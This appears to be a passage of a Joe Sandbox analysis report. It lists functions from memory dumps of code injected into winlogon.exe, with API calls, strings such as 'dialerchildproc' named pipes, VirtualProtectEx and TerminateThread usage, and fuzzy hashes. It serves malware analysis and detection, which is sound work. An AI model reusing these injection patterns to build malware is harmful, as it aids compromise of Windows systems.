__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001E8589B6938
__scrt_acquire_startup_lock.LIBCMT ref: 000001E8589B698A
_RTC_Initialize.LIBCMT ref: 000001E8589B69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001E8589B69DE
__scrt_release_startup_lock.LIBCMT ref: 000001E8589B6A09

Strings

`eh vector copy constructor iterator', xrefs: 000001E8589B6A3B
`dynamic initializer for ', xrefs: 000001E8589B69C7
scriptor', xrefs: 000001E8589B6B39, 000001E8589B6BB2, 000001E8589B6BEC
`eh vector vbase copy constructor iterator', xrefs: 000001E8589B69EE

Memory Dump Source

Source File: 00000015.00000002.3376109927.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 5a678c2123d8270ec6fb616ddb0a075a8484000318cf7b7c2c8d3db3c22f7b07
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 2E818B316282C1CEFB92AB65D8413DDF6A0EF85B82F5481379E8D87796DF39E8458700

Function 000001E858956910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001E858956938
__scrt_acquire_startup_lock.LIBCMT ref: 000001E85895698A
_RTC_Initialize.LIBCMT ref: 000001E8589569B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001E8589569DE
__scrt_release_startup_lock.LIBCMT ref: 000001E858956A09

Strings

`dynamic initializer for ', xrefs: 000001E8589569C7
scriptor', xrefs: 000001E858956B39, 000001E858956BB2, 000001E858956BEC
`eh vector copy constructor iterator', xrefs: 000001E858956A3B
`eh vector vbase copy constructor iterator', xrefs: 000001E8589569EE

Memory Dump Source

Source File: 00000015.00000002.3374749098.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858950000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: dbfcc5e9c0d96a37b9fd7991c7f30359c355952af576fe6994b0ae7cc5e7709f
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: CB817B317352C1CAFA96AB66D8513DDF3A0AF85782F548037AE4D87796DF38C94A8700

Function 000001E85898CE28 Relevance: 18.1, APIs: 12, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001E85898CE37
FlsGetValue.KERNEL32(?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CE4C
FlsSetValue.KERNEL32(?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CE6D
FlsSetValue.KERNEL32(?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CE9A
FlsSetValue.KERNEL32(?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CEAB
FlsSetValue.KERNEL32(?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CEBC
SetLastError.KERNEL32 ref: 000001E85898CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CF0D
FlsSetValue.KERNEL32(?,?,00000001,000001E85898ECCC,?,?,?,?,000001E85898BF9F,?,?,?,?,?,000001E858987AB0), ref: 000001E85898CF2C

Part of subcall function 000001E85898D6CC: HeapAlloc.KERNEL32 ref: 000001E85898D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CF54

Part of subcall function 000001E85898D744: HeapFree.KERNEL32 ref: 000001E85898D75A
Part of subcall function 000001E85898D744: GetLastError.KERNEL32 ref: 000001E85898D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001E858990A6B,?,?,?,000001E85899045C,?,?,?,000001E85898C84F), ref: 000001E85898CF76

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: f86b91cb66a3c6f8454f4038e5b621bb7ea2211ae881aec1b10a116c1fa3f1b4
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 96416E302312CAC6FAA8A735D5553FDF2425F847B8F541736AD3F476E7DE2888018A40

Function 000001E858982244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001E858982259
GetCurrentProcessId.KERNEL32 ref: 000001E858982263

Part of subcall function 000001E858981934: OpenProcess.KERNEL32 ref: 000001E858981952
Part of subcall function 000001E858981934: IsWow64Process.KERNEL32 ref: 000001E858981968
Part of subcall function 000001E858981934: CloseHandle.KERNEL32 ref: 000001E858981983

CreateFileW.KERNEL32 ref: 000001E8589822BC
WriteFile.KERNEL32 ref: 000001E8589822E4
ReadFile.KERNEL32 ref: 000001E858982303
CloseHandle.KERNEL32 ref: 000001E85898230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 000001E858982293
\\.\pipe\dialerchildproc64, xrefs: 000001E85898228C

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 51a05a011626c34f84d443abd0de517d886d5e25bc20737c8bb9c705d9869c07
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: A5211D36624781C2EB109B25F5543ADB7A1FB89BE5F504226EE5E02AA8DF7CC149CF00

Function 000001E85898A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001E85898A5A1

Part of subcall function 000001E85898B414: __GetUnwindTryBlock.LIBCMT ref: 000001E85898B457
Part of subcall function 000001E85898B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001E85898B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001E85898A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001E85898A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001E85898A9DA

Strings

csm, xrefs: 000001E85898A5BB
csm, xrefs: 000001E85898A622
csm, xrefs: 000001E85898A69C

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: fb0b219c5a3f278c8c4be7db907598bc1cd6189e151ec6c18a9f6efa96547db1
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 48E15A73624B82CAEB609B65D4803DDB7E0FB55798F140126EE8D57B99CF38D481CB02

Function 000001E8589B9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001E8589B99A1

Part of subcall function 000001E8589BA814: __GetUnwindTryBlock.LIBCMT ref: 000001E8589BA857
Part of subcall function 000001E8589BA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001E8589BA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001E8589B9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001E8589B9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001E8589B9DDA

Strings

csm, xrefs: 000001E8589B99BB
csm, xrefs: 000001E8589B9A22
csm, xrefs: 000001E8589B9A9C

Memory Dump Source

Source File: 00000015.00000002.3376109927.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: ea488144e67ee9814cb3c00e2a8ac0c782a2014a7bbb5d57e2db9a248e5ddb93
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: F4E18D72628BC1CAEB609F65D4813DDB7A4FB89B99F100126EE8D57B9ADF34C491C700

Function 000001E858959944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001E8589599A1

Part of subcall function 000001E85895A814: __GetUnwindTryBlock.LIBCMT ref: 000001E85895A857
Part of subcall function 000001E85895A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001E85895A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001E858959A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001E858959CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001E858959DDA

Strings

csm, xrefs: 000001E858959A22
csm, xrefs: 000001E858959A9C
csm, xrefs: 000001E8589599BB

Memory Dump Source

Source File: 00000015.00000002.3374749098.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858950000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: ea3d8d01707ad5d94a13b4fba9cf6eb05f996a68f408e0993dfcc1eae4dccdcf
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: AFE16972624B81CAFB609B65E4813DDB7A4FF85B99F100126EE8D57B9ACF34C591CB00

Function 000001E85898F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000001E85898F510
GetProcAddress.KERNEL32 ref: 000001E85898F51C

Strings

ext-ms-, xrefs: 000001E85898F46D
api-ms-, xrefs: 000001E85898F45A

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 44c234c9404ffe7b5e1619124c70eb274fb59fe55c9541b10c09b14d45380197
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 2C410032331A92C1EA16DB66E8087DEB391FF49BE0F19513B9D0E97786EE38C4458700

Function 000001E85898104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001E8589810B1
RegEnumValueW.ADVAPI32 ref: 000001E858981117
GetProcessHeap.KERNEL32 ref: 000001E85898115A
HeapAlloc.KERNEL32 ref: 000001E858981168
GetProcessHeap.KERNEL32 ref: 000001E858981185
HeapFree.KERNEL32 ref: 000001E858981193

Strings

d, xrefs: 000001E8589810D6

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 9981850cc48d31037741c2cded26c72f9a92758d62ae1b8330bcbb02fb765734
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 5F414F73224BC4C6E760DF61E44479EB7A1F789B98F44812ADE8A07B58DF38C585CB40

Function 000001E85898D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000001E85898C7DE,?,?,?,?,?,?,?,?,000001E85898CF9D,?,?,00000001), ref: 000001E85898D087
FlsSetValue.KERNEL32(?,?,?,000001E85898C7DE,?,?,?,?,?,?,?,?,000001E85898CF9D,?,?,00000001), ref: 000001E85898D0A6
FlsSetValue.KERNEL32(?,?,?,000001E85898C7DE,?,?,?,?,?,?,?,?,000001E85898CF9D,?,?,00000001), ref: 000001E85898D0CE
FlsSetValue.KERNEL32(?,?,?,000001E85898C7DE,?,?,?,?,?,?,?,?,000001E85898CF9D,?,?,00000001), ref: 000001E85898D0DF
FlsSetValue.KERNEL32(?,?,?,000001E85898C7DE,?,?,?,?,?,?,?,?,000001E85898CF9D,?,?,00000001), ref: 000001E85898D0F0

Strings

1%, xrefs: 000001E85898D0CE
Y%, xrefs: 000001E85898D0A6

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 9c311fea4b2fa3c9ab43cbea4d372c8830d6ac0f2b4a448fbd82eec820a9dce2
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: A8110A717242C6C1FA68AB25D9513FDF1416FC47F0F546336AC3E476EADE68C4028A00

Function 000001E858987510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001E858987538
__scrt_acquire_startup_lock.LIBCMT ref: 000001E85898758A
_RTC_Initialize.LIBCMT ref: 000001E8589875B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001E8589875DE
__scrt_release_startup_lock.LIBCMT ref: 000001E858987609

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: f82d139e0262af235c5c503c080292d7917c2a0aa74f472ae0aed1caa77cd681
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 5F816B396202C3EAFB50AB65E8813EDF691AF85780F544437AD0DA7796EE38C8458F11

Function 000001E858989DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000001E858989E49
GetLastError.KERNEL32 ref: 000001E858989E57
LoadLibraryExW.KERNEL32 ref: 000001E858989E81
FreeLibrary.KERNEL32 ref: 000001E858989EC7
GetProcAddress.KERNEL32 ref: 000001E858989ED3

Strings

api-ms-, xrefs: 000001E858989E69

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: ed1d6103eff1dcc676994d656ad2f911c5872803e8dc8710478f2b646a537078
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: F831A4313226C2E2EE229B42E4407EDB694BF48BA0F5905379D5E47792EF39C4658B10

Function 000001E858993DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001E858993DE5
GetLastError.KERNEL32 ref: 000001E858993DF1
CloseHandle.KERNEL32 ref: 000001E858993E09
CreateFileW.KERNEL32 ref: 000001E858993E34
WriteConsoleW.KERNEL32 ref: 000001E858993E53

Strings

CONOUT$, xrefs: 000001E858993E15

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 848c5f808f98b7fe64fe1be9f14dffa162bf3ffb4f70aadf000dfa4e6251c1b3
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: C6115B31320AC0C6E7619B56E84439DB6A1FB88FE4F444226EE5E877A4DF38C8148744

Function 000001E858982F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001E858982F27
HeapAlloc.KERNEL32 ref: 000001E858982F3A
StrCmpNIW.SHLWAPI ref: 000001E858982FAF
GetProcessHeap.KERNEL32 ref: 000001E858983015
HeapFree.KERNEL32 ref: 000001E858983023

Strings

dialer, xrefs: 000001E858982FA8

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: c1fd6422857e38418c878c4cd41444f40647f04957361f5aedf899a272e96910
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 22315A32721B92C2EA15DF96E5407ADF7A1BF44B84F0841329E4D47B59EF38C4A1CB00

Function 000001E85898CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001E85898CFAF
FlsSetValue.KERNEL32(?,?,?,000001E85898D6B5,?,?,?,?,000001E85898D778), ref: 000001E85898CFE5
FlsSetValue.KERNEL32(?,?,?,000001E85898D6B5,?,?,?,?,000001E85898D778), ref: 000001E85898D012
FlsSetValue.KERNEL32(?,?,?,000001E85898D6B5,?,?,?,?,000001E85898D778), ref: 000001E85898D023
FlsSetValue.KERNEL32(?,?,?,000001E85898D6B5,?,?,?,?,000001E85898D778), ref: 000001E85898D034
SetLastError.KERNEL32 ref: 000001E85898D04F

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: cd1afe50f7e6de5fdb75e3b85d99f54b8b5774328d87a634973043da6fa4d35a
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 061159312212C6C2FA69A721D5953BDF2426F887F4F141736AC3F876EADE6884018A00

Function 000001E85898199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001E8589819C2
K32GetModuleFileNameExW.KERNEL32 ref: 000001E8589819E0
PathFindFileNameW.SHLWAPI ref: 000001E8589819EF
lstrlenW.KERNEL32 ref: 000001E8589819FB
StrCpyW.SHLWAPI ref: 000001E858981A0E
CloseHandle.KERNEL32 ref: 000001E858981A1C

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 60db19895ce507a708008e45d9c0298ffec254aa5bc9d4092071c0d004566a38
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 28011731320AC1C2EB64DB52E89879DB3A6FB88BC4F884036DE5E53755DE38C989C740

Function 000001E8589836C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001E8589836E4
GetCurrentProcess.KERNEL32 ref: 000001E8589836F2
VirtualProtectEx.KERNEL32 ref: 000001E858983714
GetCurrentProcess.KERNEL32 ref: 000001E858983732
VirtualProtectEx.KERNEL32 ref: 000001E858983753
TerminateThread.KERNEL32 ref: 000001E858983762

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 18b328c97b5f9e14fffcfa9212a447ac2abda381c2e5647efa8e85a057c85cab
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 19011775321BC0C6EB259B62E84879DB2A1BF49B86F04443ACD4E07B65EF3DC1488B00

Function 000001E858988FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E858989013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001E8589890A8
RtlUnwindEx.NTDLL ref: 000001E8589890F7

Strings

csm, xrefs: 000001E85898908E
f, xrefs: 000001E858989026

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: c300b2b6b54622bad3c43c23df103e30e38a6bb1438ec9a2dd89e032c6842fde
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: 53518932729683CAEB54CB15E848B9DB7A6FB44B88F508536DE4B47788DF39C841CB00

Function 000001E858981A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001E858981A60
StrCmpNIW.SHLWAPI ref: 000001E858981A7A
lstrlenW.KERNEL32 ref: 000001E858981A89
StrCpyW.SHLWAPI ref: 000001E858981A9E

Strings

\\?\, xrefs: 000001E858981A6E

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: d0bcd0cf9b4692289a878d77c8ac4738952449dce6fe18ad4e1a7071ab5e44cd
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: D4F03C723246C1D2EB609B61F9C479DB761FB88BC8F844032DE4D46954DE2CC68DCB00

Function 000001E85898BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001E85898BCBD
GetProcAddress.KERNEL32 ref: 000001E85898BCD3
FreeLibrary.KERNEL32 ref: 000001E85898BCFA

Strings

CorExitProcess, xrefs: 000001E85898BCCC
mscoree.dll, xrefs: 000001E85898BCB4

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: e6b40846573bec2309256a1e3779184d66e370f070609bbf47c065b346f7c57b
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: A2F06271221685D1FB108F29E84539DB321EF857A1F54062ADE6E452E4CF2CC045C700

Function 000001E858983044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000001E858983066
StrCpyW.SHLWAPI ref: 000001E858983076
StrCatW.SHLWAPI ref: 000001E858983082
PathCombineW.SHLWAPI ref: 000001E858983090

Strings

\\.\pipe\, xrefs: 000001E85898305C

Memory Dump Source

